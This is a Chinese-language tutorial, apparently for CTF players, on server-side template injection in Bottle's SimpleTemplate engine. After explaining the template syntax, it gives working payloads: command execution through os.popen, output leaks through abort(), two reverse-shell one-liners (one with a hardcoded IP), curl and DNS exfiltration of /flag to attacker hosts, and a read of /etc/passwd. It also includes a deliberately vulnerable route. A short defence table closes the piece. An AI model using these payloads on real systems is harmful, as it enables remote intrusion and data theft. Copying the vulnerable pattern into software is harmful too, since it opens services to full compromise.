前言 SimpleTemplate 是 Python 微框架 Bottle 内置的模板引擎。与 Jinja2 不同,SimpleTemplate 追求的正是”简单”——它允许在模板中直接嵌入原生 Python 代码(% ... 和 <% ... %>),而不是 Jinja2 那种需要用 {% %} 包裹的受限 DSL。但也正因为这种”便利”,一旦存在 SSTI 注入点,攻击者几乎不受限制——直接写 __import__('os').popen(...) 即可 RCE,不需要绕 MRO 链和 __subclasses__()。
本文将 SimpleTemplate 的语法、SSTI 利用、无回显打法系统化整理。
---
## 一、SimpleTemplate 基础语法
### 1.1 变量输出——`{% raw %}{{ }}{% endraw %}`
1 2 3 4 5 from bottle import SimpleTemplatetpl = SimpleTemplate('Hello {{name}}!' ) print (tpl.render(name='World' ))
快捷写法:
1 2 3 from bottle import templatetemplate('Hello {{name}}!' , name='World' )
字典方式传入参数(** 解包):
1 2 3 4 5 from bottle import templatemy_dict = {'number' : '123' , 'street' : 'Fake St.' , 'city' : 'Fakeville' } template('I live at {{number}} {{street}}, {{city}}' , **my_dict)
1.2 自动转义与取消转义 {{ }} 默认对 HTML 特殊字符(< > & " ')做转义防止 XSS:
1 2 template('Hello {{name}}!' , name='<b>World</b>' )
如果想输出原始 HTML(不转义),在变量名前加 !:
1 2 template('Hello {{!name}}!' , name='<b>World</b>' )
1.3 嵌入 Python 代码——% 和 <% %> SimpleTemplate 与 Jinja2 最大的区别:直接在模板中嵌入原生 Python 代码 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from bottle import Bottle, SimpleTemplate, requestapp = Bottle() @app.route('/' ) def home (): name = request.query.get('name' , 'World' ) template_str = """ % name = name or "Bob" # 单行 Python 代码 <p>Some plain text in between</p> <% # 多行 Python 代码块 name = name.title().strip() %> <p>More plain text</p> <p>Hello {{name}}!</p> """ tpl = SimpleTemplate(template_str) return tpl.render(name=name) if __name__ == "__main__" : print ("Listening on port 8080." ) app.run(host='localhost' , port=8080 )
语法
含义
% code
单行 Python 代码(行首的 %)
<% code %>
多行 Python 代码块
{{ var }}
输出变量值(自动转义)
{{ !var }}
输出原始 HTML(不转义)
循环和条件语句必须用 % end 结束:
1 2 3 4 5 6 7 8 9 10 11 <ul > % for item in basket: <li > {{item}}</li > % end </ul > % if user == 'admin': <p > Welcome, admin!</p > % else: <p > Welcome, guest!</p > % end
1.4 % 的转义 如果 % 出现在行首但又不想被当作代码标记,需要转义(\``%)。文本中间的 % 不需要转义。
1.5 空白控制 代码块执行后不会输出任何内容(不像 Jinja2 中 {% %} 可能有残余空白):
1 2 3 4 5 <div > % if True: <span > content</span > % end </div >
输出:
1 2 3 <div > <span > content</span > </div >
若要更紧凑(去掉换行),在行尾加 \\:
1 2 3 4 5 <div > \\ %if True: <span > content</span > \\ %end </div >
输出:
1 <div > <span > content</span > </div >
1.6 内置模板函数
函数
作用
defined(name)
变量已定义返回 True,否则 False
get(name, default=None)
返回变量值或默认值
setdefault(name, default)
变量未定义则设为默认值,返回该变量
1 2 3 4 5 6 % setdefault('text', 'No Text') <h1 > {{get('title', 'No Title')}}</h1 > <p > {{ text }}</p > % if defined('author'): <p > By {{ author }}</p > % end
二、SSTI 攻击方式 2.1 SimpleTemplate SSTI 为什么比 Jinja2 更危险
对比
Jinja2 SSTI
SimpleTemplate SSTI
直接执行 Python
需要 {{ }} 内链式调用 MRO → __subclasses__
% 代码行直接写原生 Python
调用 os.popen
需要找到包含 os 的子类
% import os 或 % __import__('os')
语法限制
只能用表达式(不能写 import 语句)
可以写任意 Python 语句
被过滤后
有 13+ 种绕过方式
原生的 Python 不需要绕过链
2.2 无回显——abort() 外带数据 SSTI 执行后模板渲染结果不显示时,用 bottle.abort() 把命令结果塞进 HTTP 响应:
1 2 3 4 % from bottle import abort % a = __import__('os').popen("ls /").read() % abort(404, a) % end
abort(status_code, body) 会立即终止请求并返回指定状态码和响应体。这里 abort(404, a) 把命令输出放在 404 响应中返回给攻击者。
2.3 反弹 Shell 方式一:直接反弹 bash
1 %0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.200.39.193" ,5000 ));os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 );p=subprocess.call(["/bin/bash" ,"-i" ]);
方式二:Python pty 反弹 Shell(更稳定)
1 %0A%__import__ ('os' ).popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'" ).read()
%0A 是 URL 编码的换行符(\n)。在 GET 参数注入时,用 %0A 将多行代码合并到一行,每行前加 % 即可执行。
三、完整攻击流程 3.1 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from bottle import Bottle, SimpleTemplate, requestapp = Bottle() @app.route('/greet' ) def greet (): name = request.query.get('name' , 'World' ) template_str = '<h1>Hello {{name}}!</h1>' tpl = SimpleTemplate(template_str) return tpl.render(name=name) app.run(host='0.0.0.0' , port=8080 )
这个应用是安全的——因为 name 只是模板变量,不会被当作代码执行。
真正的 SSTI 漏洞代码:
1 2 3 4 5 @app.route('/unsafe' ) def unsafe (): user_template = request.query.get('tpl' , '<h1>Hello</h1>' ) tpl = SimpleTemplate(user_template) return tpl.render()
当用户输入 {{7*7}} 返回 49 即确认 SSTI。更直接的是,输入 % __import__('os').popen('id').read() 直接 RCE。
3.2 探测与信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {{7 *7 }} % import os {{os.popen('whoami' ).read()}} % from bottle import abort % a = __import__ ('os' ).popen('ls /' ).read() % abort(404 , a) % end % from bottle import abort % a = __import__ ('os' ).popen('cat /flag*' ).read() % abort(404 , a) % end
3.3 多种 RCE 方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 % __import__ ('os' ).popen('whoami' ).read() % import os % os.system('curl http://vps/$(cat /flag|base64)' ) % import subprocess % subprocess.run('cat /flag' , shell=True ) % import commands {{commands.getoutput('cat /flag' )}}
四、完整利用示例——带 SSTI 的题目进攻步骤 4.1 读取敏感文件 1 2 3 4 5 % from bottle import abort % a = __import__ ('os' ).popen('cat /etc/passwd' ).read() % abort(200 , a) % end
4.2 利用 curl 外带数据 1 2 % import os % os.system('curl -X POST http://attacker-vps:8080/collect -d "$(cat /flag | base64)"' )
4.3 配合 DNSLog 确认命令是否执行 1 2 % import os % os.system('ping -c 1 $(whoami).dnslog.example.com' )
五、SimpleTemplate SSTI vs Jinja2 SSTI 对比
维度
SimpleTemplate (Bottle)
Jinja2 (Flask)
模板引擎复杂度
极简——模板 ≈ Python 代码
中等——受限 DSL,有沙箱
SSTI 利用难度
极低——直接写 Python 语句
需要理解 MRO / __subclasses__ 链
是否需要绕过
几乎不需要(除非 WAF 在应用层)
常见的 _ . [] '' 过滤需要绕过
代码执行语法
% code 或 <% code %>
{{ ... }} 链式表达式
最简 RCE
% __import__('os').popen('id').read()
{{lipsum.__globals__['os'].popen('id').read()}}
无回显打法
abort(404, output) 直接返回
写 static / curl / DNS 外带
框架内存马
app.route() 动态注册路由
add_url_rule / before_request_funcs 等
自动转义
默认转义 HTML,{{!var}} 取消
默认转义,{{ var\|safe }} 取消
六、防御措施
措施
说明
永远不要让用户输入作为模板
使用静态模板文件 + 渲染上下文变量,不要用 SimpleTemplate(user_input)
如果有动态模板需求
严格限制可用语法:用正则白名单、禁用 % 和 <% 语法
沙箱隔离
不要给 Bottle 进程过高的权限,用 Docker + seccomp 限制系统调用
WAF 防护
在请求层过滤 __import__、popen、subprocess、% 等关键字
日志监控
监测模板渲染异常和异常的系统命令执行
参考